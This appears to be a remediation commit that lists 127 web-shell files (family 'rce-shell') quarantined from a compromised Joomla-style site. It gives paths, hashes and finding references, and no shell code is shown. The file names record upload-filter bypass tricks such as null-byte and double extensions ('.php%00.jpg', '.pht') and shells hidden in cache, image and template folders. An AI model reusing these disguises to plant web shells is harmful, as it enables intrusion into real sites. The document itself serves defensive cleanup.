quarantine: family=rce-shell (127 fájl)
vhost: www.archlinexp.eu rel_path: 70pv0kju.php.json result: quarantined evidence_sha256: cce5adca0042a81f4d31850d95a2e55b65ce8732ee9c63e3bc864bc4c1a995e8 timestamp: 20260718T160204Z finding_ref: 4889 vhost: www.archlinexp.eu rel_path: 70pv0kju.php5.json result: quarantined evidence_sha256: cce5adca0042a81f4d31850d95a2e55b65ce8732ee9c63e3bc864bc4c1a995e8 timestamp: 20260718T160204Z finding_ref: 4922 vhost: www.archlinexp.eu rel_path: 70pv0kju.phtml.json result: quarantined evidence_sha256: cce5adca0042a81f4d31850d95a2e55b65ce8732ee9c63e3bc864bc4c1a995e8 timestamp: 20260718T160204Z finding_ref: 4836 vhost: www.archlinexp.eu rel_path: 8j7txp50.php%00.jpg.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 4886 vhost: www.archlinexp.eu rel_path: 8j7txp50.php%00.txt.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 4897 vhost: www.archlinexp.eu rel_path: 8j7txp50.php.bak.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 4934 vhost: www.archlinexp.eu rel_path: 8j7txp50.php.jpg.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 4930 vhost: www.archlinexp.eu rel_path: 8j7txp50.php.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 4928 vhost: www.archlinexp.eu rel_path: 8j7txp50.php.txt.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 4860 vhost: www.archlinexp.eu rel_path: 8j7txp50.php4.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 4938 vhost: www.archlinexp.eu rel_path: 8j7txp50.php5.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 4926 vhost: www.archlinexp.eu rel_path: 8j7txp50.phtml.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 4862 vhost: www.archlinexp.eu rel_path: _h3x_6h0804r6.php.json result: quarantined evidence_sha256: 1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a timestamp: 20260718T160204Z finding_ref: 4868 vhost: www.archlinexp.eu rel_path: _h3x_ajhdpqok.php.json result: quarantined evidence_sha256: 537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0 timestamp: 20260718T160204Z finding_ref: 4866 vhost: www.archlinexp.eu rel_path: _h3x_kgqxc7tj.php.json result: quarantined evidence_sha256: c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849 timestamp: 20260718T160204Z finding_ref: 4936 vhost: www.archlinexp.eu rel_path: _h3x_m28547fv.php.json result: quarantined evidence_sha256: e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644 timestamp: 20260718T160204Z finding_ref: 4900 vhost: www.archlinexp.eu rel_path: _h3x_qdjyeroc.php.json result: quarantined evidence_sha256: 537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0 timestamp: 20260718T160204Z finding_ref: 4861 vhost: www.archlinexp.eu rel_path: _h3x_v6hzbjh8.php.json result: quarantined evidence_sha256: 1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a timestamp: 20260718T160204Z finding_ref: 4892 vhost: www.archlinexp.eu rel_path: _h3x_y6oge9dr.php.json result: quarantined evidence_sha256: e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644 timestamp: 20260718T160204Z finding_ref: 4852 vhost: www.archlinexp.eu rel_path: administrator/8j7txp50.php.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 5105 vhost: www.archlinexp.eu rel_path: administrator/cache/r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5111 vhost: www.archlinexp.eu rel_path: administrator/cache/r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5112 vhost: www.archlinexp.eu rel_path: administrator/cache/r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5113 vhost: www.archlinexp.eu rel_path: administrator/cache/r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5109 vhost: www.archlinexp.eu rel_path: administrator/ntxvq7b4jper.php.json result: quarantined evidence_sha256: 4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942 timestamp: 20260718T160204Z finding_ref: 5101 vhost: www.archlinexp.eu rel_path: cache/8j7txp50.php.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 5027 vhost: www.archlinexp.eu rel_path: cache/r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5017 vhost: www.archlinexp.eu rel_path: cache/r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5018 vhost: www.archlinexp.eu rel_path: cache/r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5019 vhost: www.archlinexp.eu rel_path: cache/r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5014 vhost: www.archlinexp.eu rel_path: components/com_mailto/mail.php result: quarantined evidence_sha256: 5a2a84f37f564063481c8898748c07ccf3219b0ea7df420de3613affc846e74b timestamp: 20260718T160204Z finding_ref: 5298 vhost: www.archlinexp.eu rel_path: components/r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5289 vhost: www.archlinexp.eu rel_path: components/r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5290 vhost: www.archlinexp.eu rel_path: components/r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5291 vhost: www.archlinexp.eu rel_path: components/r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5288 vhost: www.archlinexp.eu rel_path: es6jo0xq.php.json result: quarantined evidence_sha256: ab86335d0ccd94d5f7cf82bcb53e7efe4026bd3a972cf8fe471bcdd38ee68f8e timestamp: 20260718T160204Z finding_ref: 4847 vhost: www.archlinexp.eu rel_path: es6jo0xq.php5.json result: quarantined evidence_sha256: ab86335d0ccd94d5f7cf82bcb53e7efe4026bd3a972cf8fe471bcdd38ee68f8e timestamp: 20260718T160204Z finding_ref: 4840 vhost: www.archlinexp.eu rel_path: es6jo0xq.phtml.json result: quarantined evidence_sha256: ab86335d0ccd94d5f7cf82bcb53e7efe4026bd3a972cf8fe471bcdd38ee68f8e timestamp: 20260718T160204Z finding_ref: 4858 vhost: www.archlinexp.eu rel_path: flamy.php.json result: quarantined evidence_sha256: 6890dc586f3605f32f298dad04255c0d174ab47ff0738fab991c1f61bb4abbbd timestamp: 20260718T160204Z finding_ref: 4919 vhost: www.archlinexp.eu rel_path: h3x_49822__php.json result: quarantined evidence_sha256: 762c295fadd2dc330284e3ec35accc41d3d5bd0a97d47bf8db304bc0d2612633 timestamp: 20260718T160204Z finding_ref: 4841 vhost: www.archlinexp.eu rel_path: hwlyroez.json result: quarantined evidence_sha256: 8fb8405fe6053c61a6497fd46218c1debb3b74714c14b8c864abec280c9109e7 timestamp: 20260718T160204Z finding_ref: 4859 vhost: www.archlinexp.eu rel_path: hwlyroez.php.json result: quarantined evidence_sha256: 8fb8405fe6053c61a6497fd46218c1debb3b74714c14b8c864abec280c9109e7 timestamp: 20260718T160204Z finding_ref: 4890 vhost: www.archlinexp.eu rel_path: hwlyroez.phtml.json result: quarantined evidence_sha256: 8fb8405fe6053c61a6497fd46218c1debb3b74714c14b8c864abec280c9109e7 timestamp: 20260718T160204Z finding_ref: 4891 vhost: www.archlinexp.eu rel_path: images/8j7txp50.php.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 5201 vhost: www.archlinexp.eu rel_path: images/_h3x_6h0804r6.php.json result: quarantined evidence_sha256: 1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a timestamp: 20260718T160204Z finding_ref: 5168 vhost: www.archlinexp.eu rel_path: images/_h3x_6h0804r6.php5.json result: quarantined evidence_sha256: 1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a timestamp: 20260718T160204Z finding_ref: 5213 vhost: www.archlinexp.eu rel_path: images/_h3x_6h0804r6.pht.json result: quarantined evidence_sha256: 1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a timestamp: 20260718T160204Z finding_ref: 5169 vhost: www.archlinexp.eu rel_path: images/_h3x_6h0804r6.phtml.json result: quarantined evidence_sha256: 1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a timestamp: 20260718T160204Z finding_ref: 5177 vhost: www.archlinexp.eu rel_path: images/_h3x_ajhdpqok.php.json result: quarantined evidence_sha256: 537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0 timestamp: 20260718T160204Z finding_ref: 5166 vhost: www.archlinexp.eu rel_path: images/_h3x_ajhdpqok.php5.json result: quarantined evidence_sha256: 537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0 timestamp: 20260718T160204Z finding_ref: 5178 vhost: www.archlinexp.eu rel_path: images/_h3x_ajhdpqok.pht.json result: quarantined evidence_sha256: 537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0 timestamp: 20260718T160204Z finding_ref: 5191 vhost: www.archlinexp.eu rel_path: images/_h3x_ajhdpqok.phtml.json result: quarantined evidence_sha256: 537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0 timestamp: 20260718T160204Z finding_ref: 5206 vhost: www.archlinexp.eu rel_path: images/_h3x_kgqxc7tj.php.json result: quarantined evidence_sha256: c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849 timestamp: 20260718T160204Z finding_ref: 5209 vhost: www.archlinexp.eu rel_path: images/_h3x_kgqxc7tj.php5.json result: quarantined evidence_sha256: c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849 timestamp: 20260718T160204Z finding_ref: 5154 vhost: www.archlinexp.eu rel_path: images/_h3x_kgqxc7tj.pht.json result: quarantined evidence_sha256: c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849 timestamp: 20260718T160204Z finding_ref: 5148 vhost: www.archlinexp.eu rel_path: images/_h3x_kgqxc7tj.phtml.json result: quarantined evidence_sha256: c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849 timestamp: 20260718T160204Z finding_ref: 5212 vhost: www.archlinexp.eu rel_path: images/_h3x_qdjyeroc.php.json result: quarantined evidence_sha256: 537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0 timestamp: 20260718T160204Z finding_ref: 5161 vhost: www.archlinexp.eu rel_path: images/_h3x_qdjyeroc.php5.json result: quarantined evidence_sha256: 537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0 timestamp: 20260718T160204Z finding_ref: 5194 vhost: www.archlinexp.eu rel_path: images/_h3x_qdjyeroc.pht.json result: quarantined evidence_sha256: 537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0 timestamp: 20260718T160204Z finding_ref: 5146 vhost: www.archlinexp.eu rel_path: images/_h3x_qdjyeroc.phtml.json result: quarantined evidence_sha256: 537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0 timestamp: 20260718T160204Z finding_ref: 5202 vhost: www.archlinexp.eu rel_path: images/_h3x_v6hzbjh8.php.json result: quarantined evidence_sha256: 1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a timestamp: 20260718T160204Z finding_ref: 5182 vhost: www.archlinexp.eu rel_path: images/_h3x_v6hzbjh8.php5.json result: quarantined evidence_sha256: 1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a timestamp: 20260718T160204Z finding_ref: 5159 vhost: www.archlinexp.eu rel_path: images/_h3x_v6hzbjh8.pht.json result: quarantined evidence_sha256: 1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a timestamp: 20260718T160204Z finding_ref: 5155 vhost: www.archlinexp.eu rel_path: images/_h3x_v6hzbjh8.phtml.json result: quarantined evidence_sha256: 1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a timestamp: 20260718T160204Z finding_ref: 5175 vhost: www.archlinexp.eu rel_path: images/h3x_9997u119.php.json result: quarantined evidence_sha256: 9d603ee38848a230e8fb1f2a9065aa808992d2c603823ccfc34cdcb53475050c timestamp: 20260718T160204Z finding_ref: 5195 vhost: www.archlinexp.eu rel_path: images/h3x_e88bc62u.phtml.json result: quarantined evidence_sha256: cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c timestamp: 20260718T160204Z finding_ref: 5157 vhost: www.archlinexp.eu rel_path: images/h3x_g3rhd4hx.php.json result: quarantined evidence_sha256: cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c timestamp: 20260718T160204Z finding_ref: 5196 vhost: www.archlinexp.eu rel_path: images/h3x_irj8ng6m.php.json result: quarantined evidence_sha256: 9d603ee38848a230e8fb1f2a9065aa808992d2c603823ccfc34cdcb53475050c timestamp: 20260718T160204Z finding_ref: 5207 vhost: www.archlinexp.eu rel_path: images/h3x_lk6pzgbt.phtml.json result: quarantined evidence_sha256: cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c timestamp: 20260718T160204Z finding_ref: 5151 vhost: www.archlinexp.eu rel_path: images/h3x_p29ivhj8.php.json result: quarantined evidence_sha256: cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c timestamp: 20260718T160204Z finding_ref: 5186 vhost: www.archlinexp.eu rel_path: images/h3x_r1mc7roy.php.json result: quarantined evidence_sha256: cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c timestamp: 20260718T160204Z finding_ref: 5205 vhost: www.archlinexp.eu rel_path: images/h3x_rbaryhg8.php.json result: quarantined evidence_sha256: ec392b32d9948da9428a294296555de70a799f89be6a86f9e161c9ff46f9265e timestamp: 20260718T160204Z finding_ref: 5179 vhost: www.archlinexp.eu rel_path: images/h3x_v82n3yod.phtml.json result: quarantined evidence_sha256: cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c timestamp: 20260718T160204Z finding_ref: 5210 vhost: www.archlinexp.eu rel_path: images/ntxvq7b4jper.php.json result: quarantined evidence_sha256: 4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942 timestamp: 20260718T160204Z finding_ref: 5173 vhost: www.archlinexp.eu rel_path: images/ntxvq7b4jper.phtml.json result: quarantined evidence_sha256: 4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942 timestamp: 20260718T160204Z finding_ref: 5199 vhost: www.archlinexp.eu rel_path: images/r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5150 vhost: www.archlinexp.eu rel_path: images/r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5153 vhost: www.archlinexp.eu rel_path: images/r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5156 vhost: www.archlinexp.eu rel_path: images/r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5145 vhost: www.archlinexp.eu rel_path: kvjrvsep.json result: quarantined evidence_sha256: 60e98b1fce5f20be97139b866ce5dee94c99dc8c87ba139e11cd1582a90e794b timestamp: 20260718T160204Z finding_ref: 4915 vhost: www.archlinexp.eu rel_path: logs/8j7txp50.php.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 5308 vhost: www.archlinexp.eu rel_path: logs/r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5301 vhost: www.archlinexp.eu rel_path: logs/r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5302 vhost: www.archlinexp.eu rel_path: logs/r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5304 vhost: www.archlinexp.eu rel_path: logs/r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5299 vhost: www.archlinexp.eu rel_path: media/8j7txp50.php.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 4999 vhost: www.archlinexp.eu rel_path: media/h3x_187572.json result: quarantined evidence_sha256: 219e45ec393931cad8b414284b0e0c9a6c88117ba312b71f30dbe0c29d9834e9 timestamp: 20260718T160204Z finding_ref: 5003 vhost: www.archlinexp.eu rel_path: media/ntxvq7b4jper.php.json result: quarantined evidence_sha256: 4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942 timestamp: 20260718T160204Z finding_ref: 4993 vhost: www.archlinexp.eu rel_path: media/r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4986 vhost: www.archlinexp.eu rel_path: media/r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4987 vhost: www.archlinexp.eu rel_path: media/r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4988 vhost: www.archlinexp.eu rel_path: media/r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4983 vhost: www.archlinexp.eu rel_path: modules/r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5280 vhost: www.archlinexp.eu rel_path: modules/r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5281 vhost: www.archlinexp.eu rel_path: modules/r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5282 vhost: www.archlinexp.eu rel_path: modules/r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5279 vhost: www.archlinexp.eu rel_path: ntxvq7b4jper.php.json result: quarantined evidence_sha256: 4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942 timestamp: 20260718T160204Z finding_ref: 4876 vhost: www.archlinexp.eu rel_path: ntxvq7b4jper.phtml.json result: quarantined evidence_sha256: 4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942 timestamp: 20260718T160204Z finding_ref: 4924 vhost: www.archlinexp.eu rel_path: plugins/r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5264 vhost: www.archlinexp.eu rel_path: plugins/r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5265 vhost: www.archlinexp.eu rel_path: plugins/r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5266 vhost: www.archlinexp.eu rel_path: plugins/r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5263 vhost: www.archlinexp.eu rel_path: r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4843 vhost: www.archlinexp.eu rel_path: r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4844 vhost: www.archlinexp.eu rel_path: r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4854 vhost: www.archlinexp.eu rel_path: r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4835 vhost: www.archlinexp.eu rel_path: shadow.php.json result: quarantined evidence_sha256: 20a99148c81f1de13f62a4370d9fcbbcf6222662555386320ed7a763e373c66e timestamp: 20260718T160204Z finding_ref: 4920 vhost: www.archlinexp.eu rel_path: standard_iy4rsk.json.php5.json result: quarantined evidence_sha256: 2ea92d75245ef15f634f479982d97a3b1efc897895cf96fd7bac6a7637451f9e timestamp: 20260718T160204Z finding_ref: 7171 vhost: www.archlinexp.eu rel_path: standard_li88zp.json.php.json result: quarantined evidence_sha256: 2ea92d75245ef15f634f479982d97a3b1efc897895cf96fd7bac6a7637451f9e timestamp: 20260718T160204Z finding_ref: 7172 vhost: www.archlinexp.eu rel_path: standard_nnagpq.json.phtml.json result: quarantined evidence_sha256: 2ea92d75245ef15f634f479982d97a3b1efc897895cf96fd7bac6a7637451f9e timestamp: 20260718T160204Z finding_ref: 7178 vhost: www.archlinexp.eu rel_path: standard_sda38a.json.php7.json result: quarantined evidence_sha256: 2ea92d75245ef15f634f479982d97a3b1efc897895cf96fd7bac6a7637451f9e timestamp: 20260718T160204Z finding_ref: 7174 vhost: www.archlinexp.eu rel_path: templates/ntxvq7b4jper.php.json result: quarantined evidence_sha256: 4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942 timestamp: 20260718T160204Z finding_ref: 4955 vhost: www.archlinexp.eu rel_path: templates/r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4946 vhost: www.archlinexp.eu rel_path: templates/r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4947 vhost: www.archlinexp.eu rel_path: templates/r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4950 vhost: www.archlinexp.eu rel_path: templates/r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4945 vhost: www.archlinexp.eu rel_path: templates/shaper_helix3/error.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 4976 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/up.php.json result: quarantined evidence_sha256: 86b0eea46ef9d06f7bfadbd02632f60828c4eb2cd3de3d47e4e9c0291d532778 timestamp: 20260718T160204Z finding_ref: 4969 vhost: www.archlinexp.eu rel_path: templates/up.php.json result: quarantined evidence_sha256: 86b0eea46ef9d06f7bfadbd02632f60828c4eb2cd3de3d47e4e9c0291d532778 timestamp: 20260718T160204Z finding_ref: 4956 vhost: www.archlinexp.eu rel_path: tmp/8j7txp50.php.json result: quarantined evidence_sha256: 0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266 timestamp: 20260718T160204Z finding_ref: 5228 vhost: www.archlinexp.eu rel_path: tmp/r0ps_v464ri.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5217 vhost: www.archlinexp.eu rel_path: tmp/r0ps_v464ri.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5218 vhost: www.archlinexp.eu rel_path: tmp/r0ps_zn8fgo.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5219 vhost: www.archlinexp.eu rel_path: tmp/r0ps_zn8fgo.php.json result: quarantined evidence_sha256: c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a timestamp: 20260718T160204Z finding_ref: 5215 vhost: www.archlinexp.eu rel_path: up.php.json result: quarantined evidence_sha256: 86b0eea46ef9d06f7bfadbd02632f60828c4eb2cd3de3d47e4e9c0291d532778 timestamp: 20260718T160204Z finding_ref: 4913 vhost: www.archlinexp.eu rel_path: vile.php.json.json result: quarantined evidence_sha256: 86b0eea46ef9d06f7bfadbd02632f60828c4eb2cd3de3d47e4e9c0291d532778 timestamp: 20260718T160204Z finding_ref: 4893 vhost: www.archlinexp.eu rel_path: zyfnar.php.json result: quarantined evidence_sha256: 44be217443e45e6dc2d7f300e14c862d961fb992d053825cf5bf8b572242aa38 timestamp: 20260718T160204Z finding_ref: 4914
This commit is contained in:
imrcli-remediator
parent
37612af714
commit
d008c6b1cf
7
var/www/hosting/archlinexp.eu/www/70pv0kju.php.json
Normal file
7
var/www/hosting/archlinexp.eu/www/70pv0kju.php.json
Normal file
